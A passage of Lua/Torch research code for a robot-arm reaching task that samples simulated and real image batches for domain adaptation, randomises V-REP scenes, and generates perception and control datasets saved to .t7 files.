-- sim_size = math.floor(0.5 * size)
sim_size = math.floor(0.25 * size)
-- sim_size = 0
end
local s_auto_set = torch.Tensor(size, 3, unpack(self.image_res))
local s_set = torch.Tensor(sim_size, 3, unpack(self.image_res))
local l_set = torch.Tensor(sim_size, 3)
for i=1,size do
-- Get the sample corresponding to current arm pose
local image_, label
if i > sim_size then
image_, label = self:get_one_sample_real()
else
image_, label = self:get_one_sample()
-- Generate low dimensional features
local low_dim_features = self:outputLowDimTensor(nil, label)
s_set[i] = image_
l_set[i] = low_dim_features
end
s_auto_set[i] = image_:clone()
end
return s_auto_set, s_set, l_set
end
-- Get a batch with a certain size from a dataset
-- For the case of using an auto-encoder for unsupervised domain adaptation
function dctrl:get_batch_adda(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_sim_set = torch.Tensor(size, 3, unpack(self.image_res))
local s_real_set = torch.Tensor(size, 3, unpack(self.image_res))
local l_pose_set = torch.Tensor(size, 3)
for i=1,size do
-- Get the sample corresponding to current arm pose
local real_im, label = self:get_one_sample_real()
local sim_im, _ = self:get_one_sample()
-- Generate low dimensional features
local low_dim_features = self:outputLowDimTensor(nil, label)
s_sim_set[i] = sim_im
s_real_set[i] = real_im
l_pose_set[i] = low_dim_features
end
return s_sim_set, s_real_set, l_pose_set
end
-- Get a batch with a certain size from a dataset
-- For the case of using domain confusion for unsupervised domain adaptation
function dctrl:get_batch_dc(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_sim_set = torch.Tensor(size, 3, unpack(self.image_res))
local s_real_set = torch.Tensor(size, 3, unpack(self.image_res))
local sim_pose_set = torch.Tensor(size, 3)
local real_pose_set = torch.Tensor(size, 3)
for i=1,size do
-- Get the sample corresponding to current arm pose
local real_im, pose_real = self:get_one_sample_real()
local sim_im, pose_sim = self:get_one_sample()
-- Generate low dimensional features
local low_dim_features_real = self:outputLowDimTensor(nil, pose_real)
local low_dim_features_sim = self:outputLowDimTensor(nil, pose_sim)
s_sim_set[i] = sim_im
s_real_set[i] = real_im
sim_pose_set[i] = low_dim_features_sim
real_pose_set[i] = low_dim_features_real
end
return s_sim_set, s_real_set, sim_pose_set, real_pose_set
end
-- Get a batch with a certain size from a dataset
-- For the case of using domain confusion for unsupervised domain adaptation
function dctrl:get_batch_dc_semi(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_sim_set = torch.Tensor(size, 3, unpack(self.image_res))
local s_real_set_t = torch.Tensor(size, 3, unpack(self.image_res))
local s_real_set = torch.Tensor(size, 3, unpack(self.image_res))
local sim_pose_set = torch.Tensor(size, 3)
local real_pose_set_t = torch.Tensor(size, 3)
local real_pose_set = torch.Tensor(size, 3)
for i=1,size do
-- Get the sample corresponding to current arm pose
local real_im, pose_real = self:get_one_sample_real()
local real_im_t, pose_real_t = self:get_one_sample_real_labelled()
local sim_im, pose_sim = self:get_one_sample()
-- Generate low dimensional features
local low_dim_features_real = self:outputLowDimTensor(nil, pose_real)
local low_dim_features_real_t = self:outputLowDimTensor(nil, pose_real_t)
local low_dim_features_sim = self:outputLowDimTensor(nil, pose_sim)
s_sim_set[i] = sim_im
s_real_set[i] = real_im
s_real_set_t[i] = real_im_t
sim_pose_set[i] = low_dim_features_sim
real_pose_set[i] = low_dim_features_real
real_pose_set_t[i] = low_dim_features_real_t
end
return s_sim_set, s_real_set_t, s_real_set, sim_pose_set, real_pose_set_t, real_pose_set
end
-- Get a batch with a certain size from a dataset
function dctrl:get_testset(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_set = torch.Tensor(size, 3, unpack(self.image_res))
local l_set = torch.Tensor(size, 3)
local sim_size = size
for i=1,size do
-- Get the sample corresponding to current arm pose
local image_, label
image_, label = self:get_one_test_sample()
-- Generate low dimensional features
local low_dim_features = self:outputLowDimTensor(nil, label)
s_set[i] = image_
l_set[i] = low_dim_features
end
return s_set, l_set
end
-- Get one sample from a dataset
function dctrl:get_one_sample_extra()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.extra_dataset_sample_amount * torch.rand(1)[1])
if index > self.extra_dataset_sample_amount then
index = self.extra_dataset_sample_amount
end
local image_ = self.extra_dataset_image[index]:clone()
local label = table.copy(self.extra_dataset_label[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
-- Brightness
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+1.6*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
if self.upper_plane then
-- print("Centre: ", torch.Tensor(label))
label[3] = label[3] + self.target_h
-- print("Upper Plane: ", torch.Tensor(label))
end
return image_, label
end
-- Get one sample from a dataset
function dctrl:get_one_sample_real_labelled()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.extra_dataset_sample_amount * torch.rand(1)[1])
if index > self.extra_dataset_sample_amount then
index = self.extra_dataset_sample_amount
end
local image_ = self.extra_dataset_image[index]:clone()
local label = table.copy(self.extra_dataset_label[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
-- Brightness
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
-- im_v:mul(1+1.6*(torch.uniform()-0.5))
im_v:mul(1+0.8*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
if self.upper_plane then
-- print("Centre: ", torch.Tensor(label))
label[3] = label[3] + self.target_h
-- print("Upper Plane: ", torch.Tensor(label))
end
return image_, label
end
-- Get one sample from a dataset
function dctrl:get_one_sample_real()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.real_dataset_sample_amount * torch.rand(1)[1])
if index > self.real_dataset_sample_amount then
index = self.real_dataset_sample_amount
end
local image_ = self.real_dataset_image[index]:clone()
local label = table.copy(self.real_dataset_label[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
-- Brightness
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+0.8*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
if self.upper_plane then
-- print("Centre: ", torch.Tensor(label))
label[3] = label[3] + self.target_h
-- print("Upper Plane: ", torch.Tensor(label))
end
return image_, label
end
-- Get a batch with a certain size from a dataset
function dctrl:get_batch_extra(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_set = torch.Tensor(size, 3, unpack(self.image_res))
local l_set = torch.Tensor(size, 3)
local sim_size = size
if self.real_dataset then
-- sim_size = math.floor(0.5 * size)
-- sim_size = math.floor(0.15 * size)
sim_size = 0
end
for i=1,size do
-- Get the sample corresponding to current arm pose
local image_, label
if i > sim_size then
image_, label = self:get_one_sample_real()
else
image_, label = self:get_one_sample_extra()
end
-- Generate low dimensional features
local low_dim_features = self:outputLowDimTensor(nil, label)
s_set[i] = image_
l_set[i] = low_dim_features
end
return s_set, l_set
end
-- Get one sample from a dataset
function dctrl:get_one_sample_e2e()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.e2e_dataset_sample_amount * torch.rand(1)[1])
if index > self.e2e_dataset_sample_amount then
index = self.e2e_dataset_sample_amount
end
local image_ = self.e2e_dataset_image[index]:clone()
local position = table.copy(self.e2e_dataset_label[index])
local low_dim_s = self.e2e_dataset_s[index]:clone()
local vel = table.copy(self.e2e_dataset_vel[index])
-- local arm_pose = table.copy(self.dataset_arm_pose[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
-- Brightness
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+1.6*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
-- if self.upper_plane then
-- -- print("Centre: ", torch.Tensor(label))
-- position[3] = position[3] + self.target_h
-- -- print("Upper Plane: ", torch.Tensor(label))
-- end
return image_, position, low_dim_s, vel
end
-- Get one sample from a dataset
function dctrl:get_one_sample_e2e_real()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.e2e_real_dataset_sample_amount * torch.rand(1)[1])
if index > self.e2e_real_dataset_sample_amount then
index = self.e2e_real_dataset_sample_amount
end
local image_ = self.e2e_real_dataset_image[index]:clone()
local position = table.copy(self.e2e_real_dataset_label[index])
local low_dim_s = self.e2e_real_dataset_s[index]:clone()
local vel = table.copy(self.e2e_real_dataset_vel[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
-- Brightness
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+0.8*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
if self.upper_plane then
-- print("Centre: ", torch.Tensor(label))
position[3] = position[3] + self.target_h
-- print("Upper Plane: ", torch.Tensor(label))
end
return image_, position, low_dim_s, vel
end
-- TODO: develop a function to get batches for end-to-end fine-tuning
function dctrl:get_batch_e2e(size)
local s_set = torch.Tensor(size, 3, unpack(self.image_res))
local l_set = torch.Tensor(size, 3)
local s_q_set = torch.Tensor(size, 7)
local v_set = torch.Tensor(size, 7)
local sim_size = size
-- if self.e2e_real_dataset and not self.weighted_losses then
if self.e2e_real_dataset then
sim_size = math.floor(0.5 * size)
-- sim_size = math.floor(0.125 * size)
-- sim_size = 0
end
for i=1,size do
-- Get the sample corresponding to current arm pose
local image_, position, low_dim_s, vel
if i > sim_size then
image_, position, low_dim_s, vel = self:get_one_sample_e2e_real()
else
image_, position, low_dim_s, vel = self:get_one_sample_e2e()
end
-- Generate low dimensional features
local low_dim_features = self:outputLowDimTensor(nil, position)
s_set[i] = image_
l_set[i] = low_dim_features
s_q_set[i] = low_dim_s:narrow(1,1,7)
v_set[i] = torch.Tensor(vel)
end
return {s_q_set, s_set}, v_set, l_set
end
-- Get one sample from a dataset
function dctrl:get_one_sample_ctrl(arm_pose)
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.dataset_sample_amount * torch.rand(1)[1])
if index > self.dataset_sample_amount then
index = self.dataset_sample_amount
end
local s_ = self.dataset_s[index]:clone()
local label = torch.Tensor(self.dataset_label[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
return s_, label
end
-- Get a batch with a certain size from a dataset
function dctrl:get_batch_ctrl(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_set = torch.Tensor(size, 10)
local l_set = torch.Tensor(size, 7)
for i=1,size do
-- Get the sample corresponding to current arm pose
local s_, label = self:get_one_sample_ctrl()
-- Generate low dimensional features
-- local low_dim_features = self:outputLowDimTensor(nil, label)
s_set[i] = s_
l_set[i] = label
end
return s_set, l_set
end
function dctrl:setCameraPose(random)
local camera_pose = table.copy(self.right_arm_init_pose)
if random then
for i=1,self.n_joint do
camera_pose[i] = camera_pose[i] + (torch.uniform() - 0.5) * self.camera_pose_range
end
end
self:setArmTargetPose('right',camera_pose)
end
function dctrl:randTargetOrientation()
local orientation_z = torch.uniform() * 2 * math.pi
return {0.0,0.0,orientation_z}
end
function dctrl:randTablePose(random)
-- Randomly set the table position and orientation
local table_position = table.copy(self.table_position)
local table_orientation = table.copy(self.table_orientation)
if random then
for i=1,3 do
table_position[i] = table_position[i] + (torch.uniform() - 0.5) * self.table_position_range[i]
table_orientation[i] = table_orientation[i] + (torch.uniform() - 0.5) * self.table_orientation_range[i]
end
end
self.vrep:setObjectOrientation(self.table, -1, table_orientation)
self.vrep:setObjectPosition(self.table, -1, table_position)
end
function dctrl:randClutters()
-- Randomly set the tabletop clutters
-- number of clutter objects
local objects_display = {}
local clutters_h = {}
local objects_remove = {}
for i=1,self.n_clutters do
if torch.uniform() < 0.5 then
objects_display[#objects_display+1] = self.clutters_handles[i]
clutters_h[#clutters_h+1] = self.clutters_h[i]
else
objects_remove[#objects_remove+1] = self.clutters_handles[i]
end
end
self:removeObjects(objects_remove)
self:randObjects(objects_display, clutters_h)
-- clutter shapes
-- clutter colors
-- clutter pose
end
function dctrl:removeObjects(clutters)
local n = #clutters
for i=1,n do
self.vrep:setObjectPosition(clutters[i], self.table, {0.0, 0.0, 0.0})
end
end
function dctrl:randObjects(clutters, clutters_h)
local n = #clutters
for i=1,n do
-- self.vrep:scaleObjectSize(clutters[i], {0.1*torch.uniform(),0.1*torch.uniform()})
self.vrep:setObjectPosition(clutters[i], self.table_top, {(torch.uniform()-0.35)*0.9, (torch.uniform()-0.5)*0.6, clutters_h[i]})
self.vrep:setObjectOrientation(clutters[i], self.table_top, {0.0,0.0,torch.uniform() * 2 * math.pi})
end
self.vrep:setObjectOrientation(self.clutters_handles[5], -1, {torch.uniform()*2*math.pi,0.5*math.pi,0.0})
-- self.vrep:setObjectOrientation(self.clutters_handles[5], -1, {torch.uniform()*2*math.pi,0.0,0.0})
end
function dctrl:randTargetSize()
end
-- Generate a dataset for perception
function dctrl:generate_perception_dataset(display)
-- Initialize dataset parameters
-- local self_collision_allowance = {0.88, 0.88, 0.96}
-- local pos_min = {0.1, -0.2625, 0.0325}
-- local pos_max = {0.7, 0.2625, 0.1825}
local pos_min = table.copy(self.target_pose_min)
local pos_max = table.copy(self.target_pose_max)
local average_accuracy = 0.01
-- local average_accuracy = 0.2
print("Generating samples ...... ")
local target = {0.1, -0.2625, 0.0325}
local num_x = math.floor((pos_max[1] - pos_min[1])/average_accuracy + 0.5)
local num_y = math.floor((pos_max[2] - pos_min[2])/average_accuracy + 0.5)
local num_z = math.floor((pos_max[3] - pos_min[3])/average_accuracy + 0.5)
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_y: ", num_z)
local sample_index = 0
local h_start = 1
for k=0,num_z do
if k==1 then
h_start = sample_index + 1
print("h start: ", h_start)
end
local image_ = {} -- images 400x400
local image400 = {}
local label = {} -- labels object pose
sample_index = 0
for i=1,num_x do
for j=1,num_y do
target[1] = pos_min[1] + (i-1 + torch.rand(1)[1]) * average_accuracy
if target[1] > pos_max[1] then
target[1] = pos_max[1]
end
target[2] = pos_min[2] + (j-1 + torch.rand(1)[1]) * average_accuracy
if target[2] > pos_max[2] then
target[2] = pos_max[2]
end
target[3] = pos_min[3] + (k-1 + torch.rand(1)[1]) * average_accuracy
if target[3] > pos_max[3] then
target[3] = pos_max[3]
end
self:setCameraPose(true)
self:randTablePose(true)
self:randClutters()
-- TODO: Randomize shape colors including background, table, objects and even robot body
local table_position = self.vrep:getObjectPosition(self.table_top, self.robot_base)
-- print("Table Position: ", torch.Tensor(table_position))
if k==0 or target[3] < table_position[3] then
target[3] = table_position[3] + 0.0325
end
local pose = self:initArmPose()
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose~=nil then
if #desired_pose~=0 then
-- print("*******",i)
pose = self:generateRandPose(pose, desired_pose)
end
end
local position = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- local position_e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- local position_t2e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
if self.image_format == 'RGB' then
im = self.vrep:getRGBImage(self.right_camera)
else
im = self.vrep:getGreyImage(self.right_camera)
end
-- TODO develop codes to crop and resize the image
local cropped_image = image.crop(im,120,20,420,320)
local cropped_image400 = image.crop(im,0,0,400,400)
-- print("Image size: ", cropped_image:size())
-- Add into the dataset
sample_index = sample_index + 1
image_[sample_index] = cropped_image:float():div(255)
image400[sample_index] = cropped_image400:float():div(255)
-- print(image_[sample_index]:max())
label[sample_index] = position
-- Visualize images and output results
-- if display then
win_input1 = image.display{image=image_[sample_index], win=win_input1}
win_input2 = image.display{image=image400[sample_index], win=win_input2}
-- end
print("=====================================")
print("Sample Index: ", sample_index)
print("Label: ", torch.Tensor(label[sample_index]))
if sample_index%50 == 0 then
print("Samples Collected: ", sample_index)
end
end
end
-- Get the dimensionality of each element in the dataset
local image_dim = image_[1]:size()
local label_dim = #label[1]
-- Save the dataset to a t7 file
local filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/table_top_blue_box_dataset" .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {image = image_,
image400 = image400,
label = label,
image_dim = image_dim,
label_dim = label_dim,
sample_amount = sample_index,
average_accuracy = average_accuracy,
num_x = num_x,
num_y = num_y,
num_z = num_z,
h_start = h_start})
print('Image dataset generated:', filename_ .. '.t7')
print("Dataset Property: \n")
print("image_dim: \n", image_dim)
print("label_dim: \n", label_dim)
print("Samples Collected: ", sample_index)
io.flush()
collectgarbage()
end
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
print("accuracy: ", average_accuracy)
end
-- Generate a dataset for perception
function dctrl:generate_perception_dataset_dr(display)
-- Initialize dataset parameters
-- local self_collision_allowance = {0.88, 0.88, 0.96}
-- local pos_min = {0.1, -0.2625, 0.0325}
-- local pos_max = {0.7, 0.2625, 0.1825}
local pos_min = table.copy(self.target_pose_min)
local pos_max = table.copy(self.target_pose_max)
local average_accuracy = 0.01
-- local average_accuracy = 0.2
print("Generating samples ...... ")
local target = {0.1, -0.2625, 0.0325}
local num_x = math.floor((pos_max[1] - pos_min[1])/average_accuracy + 0.5)
local num_y = math.floor((pos_max[2] - pos_min[2])/average_accuracy + 0.5)
-- local num_z = math.floor((pos_max[3] - pos_min[3])/average_accuracy + 0.5)
local num_z = 4
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
local sample_index = 0
for k=0,num_z do
local image_ = {} -- images 400x400
local image400 = {}
local label = {} -- labels object pose
sample_index = 0
for i=1,num_x do
for j=1,num_y do
target[1] = pos_min[1] + (i-1 + torch.rand(1)[1]) * average_accuracy
if target[1] > pos_max[1] then
target[1] = pos_max[1]
end
target[2] = pos_min[2] + (j-1 + torch.rand(1)[1]) * average_accuracy
if target[2] > pos_max[2] then
target[2] = pos_max[2]
end
-- target[3] = pos_min[3] + (k-1 + torch.rand(1)[1]) * average_accuracy
-- if target[3] > pos_max[3] then
-- target[3] = pos_max[3]
-- end
-- Randomize camera pose and FoV
self:setCameraPose(true)
self.vrep:randFoV()
-- Randomize table pose
-- self:randTablePose(true)
local table_position = self.vrep:getObjectPosition(self.table_top, self.robot_base)
-- print("Table Position: ", torch.Tensor(table_position))
-- if k==0 or target[3] < table_position[3] then
target[3] = table_position[3] + 0.0325
-- end
local pose = self:initArmPose()
-- Randomize target orientation
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
-- Randomize scene colors
self.vrep:randSceneColor()
-- Randomize clutter colors and poses
self.vrep:randClutter()
-- Randomize left arm pose
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose~=nil then
if #desired_pose~=0 then
-- print("*******",i)
pose = self:generateRandPose(pose, desired_pose)
end
end
local position = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- local position_e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- local position_t2e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
if self.image_format == 'RGB' then
im = self.vrep:getRGBImage(self.right_camera)
else
im = self.vrep:getGreyImage(self.right_camera)
end
-- TODO develop codes to crop and resize the image
local cropped_image = image.crop(im,120,20,420,320)
local cropped_image400 = image.crop(im,0,0,400,400)
-- print("Image size: ", cropped_image:size())
-- Add into the dataset
sample_index = sample_index + 1
image_[sample_index] = cropped_image:float():div(255)
image400[sample_index] = cropped_image400:float():div(255)
-- print(image_[sample_index]:max())
label[sample_index] = position
-- Visualize images and output results
-- if display then
win_input1 = image.display{image=image_[sample_index], win=win_input1}
win_input2 = image.display{image=image400[sample_index], win=win_input2}
-- end
print("=====================================")
print("Sample Index: ", sample_index)
print("Label: ", torch.Tensor(label[sample_index]))
if sample_index%50 == 0 then
print("Samples Collected: ", sample_index)
end
end
end
-- Get the dimensionality of each element in the dataset
local image_dim = image_[1]:size()
local label_dim = #label[1]
-- Save the dataset to a t7 file
local filename_ = "/run/user/1000/gvfs/smb-share:server=hpc-fs.qut.edu.au,share=n9314181/table_top_blue_box_dataset_dr_no_poseR" .. average_accuracy .. "_" .. k
torch.save(filename_ .. ".t7", {image = image_,
image400 = image400,
label = label,
image_dim = image_dim,
label_dim = label_dim,
sample_amount = sample_index,
average_accuracy = average_accuracy,
num_x = num_x,
num_y = num_y,
num_z = num_z})
print('Image dataset generated:', filename_ .. '.t7')
print("Dataset Property: \n")
print("image_dim: \n", image_dim)
print("label_dim: \n", label_dim)
print("Samples Collected: ", sample_index)
io.flush()
collectgarbage()
end
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
print("accuracy: ", average_accuracy)
end
-- Generate a dataset for perception
function dctrl:generate_control_dataset(display)
-- local self_collision_allowance = {0.88, 0.88, 0.96}
-- local pos_min = {0.1, -0.2625, 0.025}
-- local pos_max = {0.7, 0.2625, 0.025}
local pos_min = table.copy(self.target_pose_min)
local pos_max = table.copy(self.target_pose_max)
local average_accuracy = 0.01
-- local average_accuracy = 0.2
-- local rand_scalar = 2 * average_accuracy
self:setCameraPose(false)
print("Generating samples ...... ")
local target = {0.1, -0.2625, 0.025}
local num_x = math.floor((pos_max[1] - pos_min[1])/average_accuracy + 0.5)
local num_y = math.floor((pos_max[2] - pos_min[2])/average_accuracy + 0.5)
local num_z = math.floor((pos_max[3] - pos_min[3])/average_accuracy + 0.5)
print("num_x: ", num_x)
print("num_y: ", num_y)
print("num_z: ", num_z)
for k=0,num_z do
local label_ = {}
local target_pose_ = {}
local desired_pose_ = {}
local initial_arm_pose_ = {}
local current_arm_pose_ = {}
local vel_cmd_ = {}
local low_dim_s_ = {}
local label_v_ = {}
local low_dim_s_e = {} -- the low dim state for the ultimate 3DoF end-effector position
local target_pose_e = {}
local no_config_target = {}
local no_config_low_dim_s = {}
local no_config_vel = {}
local sample_index = 0
local no_config_index = 0
for i=1,num_x do
for j=1,num_y do
target[1] = pos_min[1] + (i-1 + torch.rand(1)[1]) * average_accuracy
if target[1] > pos_max[1] then
target[1] = pos_max[1]
end
target[2] = pos_min[2] + (j-1 + torch.rand(1)[1]) * average_accuracy
if target[2] > pos_max[2] then
target[2] = pos_max[2]
end
target[3] = pos_min[3] + (k-1 + torch.rand(1)[1]) * average_accuracy
if target[3] > pos_max[3] then
target[3] = pos_max[3]
end
self:randTablePose(true)
local table_position = self.vrep:getObjectPosition(self.table_top, self.robot_base)
-- print("Table Position: ", torch.Tensor(table_position))
if k==0 or target[3] < table_position[3] then
target[3] = table_position[3] + 0.0325
end
local init_pose = self:initArmPose()
local target_orien = self:randTargetOrientation()
self.vrep:setObjectOrientation(self.cuboid, self.robot_base, target_orien)
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target)
local desired_pose = self.vrep:getDesiredConfig(0.2)
if desired_pose == nil then
local no_target = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
no_target[3] = no_target[3] + self.target_h
no_config_index = no_config_index + 1
no_config_target[no_config_index] = table.copy(no_target)
no_config_low_dim_s[no_config_index] = self:outputLowDimTensor(init_pose, no_target)
no_config_vel[no_config_index] = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
-- print("no_config_target: ", torch.Tensor(no_config_target[no_config_index]))
-- print("no_config_target low s: ", torch.Tensor(no_config_low_dim_s[no_config_index]))
elseif #desired_pose == 0 then
local no_target = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
no_target[3] = no_target[3] + self.target_h
no_config_index = no_config_index + 1
no_config_target[no_config_index] = table.copy(no_target)
no_config_low_dim_s[no_config_index] = self:outputLowDimTensor(init_pose, no_target)
no_config_vel[no_config_index] = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
-- print("no_config_target: ", torch.Tensor(no_config_target[no_config_index]))
-- print("no_config_target low s: ", torch.Tensor(no_config_low_dim_s[no_config_index]))
else
-- print("*******",i)
local pose = self:generateRandPose(init_pose, desired_pose)
local collision, reached = self:detectCollisions()
while collision and not reached do
print("Initial collision happened, filter out !!!!")
pose = self:generateRandPose(init_pose, desired_pose)
collision, reached = self:detectCollisions()
end
local position = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
position[3] = position[3] + self.target_h
pose = self:getArmPose('left')
-- local position_t2e = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
-- Add into the dataset
sample_index = sample_index + 1
-- image_[sample_index] = cropped_image:float():div(255)
-- print(image_[sample_index]:max())
label_[sample_index] = table.copy(position)
desired_pose_[sample_index] = table.copy(desired_pose)
target_pose_[sample_index] = table.copy(position)
initial_arm_pose_[sample_index] = table.copy(pose)
-- Visualize images and output results
-- if display then
-- win_input1 = image.display{image=image_[sample_index], win=win_input1}
-- win_input2 = image.display{image=cropped_image, win=win_input2}
-- end
local termination = false
local completion = false
-- local screen, reward, terminal, completion, low_dim_features, configuration = self:picking_sim(1, true, false)
local current_arm_pose_temp = {}
local vel_cmd_temp = {}
local low_dim_s_temp = {}
local image_v_temp = {}
local label_v_temp = {}
local v_sample_index = 0
self.vrep:enableJointVelocityCtrl()
local step_cost = 0
while not termination do
step_cost = step_cost + 1
if step_cost > self.max_step then
break
end
local vel = {}
for i=1,self.n_joint do
vel[i] = desired_pose[i] - self.left_joint_position[i]
if vel[i] > 1.0 then
vel[i] = 1.0
elseif vel[i] < -1.0 then
vel[i] = -1.0
end
end
local vel_sum = torch.Tensor(vel):abs():sum()
-- print("vel sum: ", vel_sum)
-- if vel_sum < 0.01 then
if vel_sum < 0.01 then
vel = {0.0,0.0,0.0,0.0,0.0,0.0,0.0}
termination = true
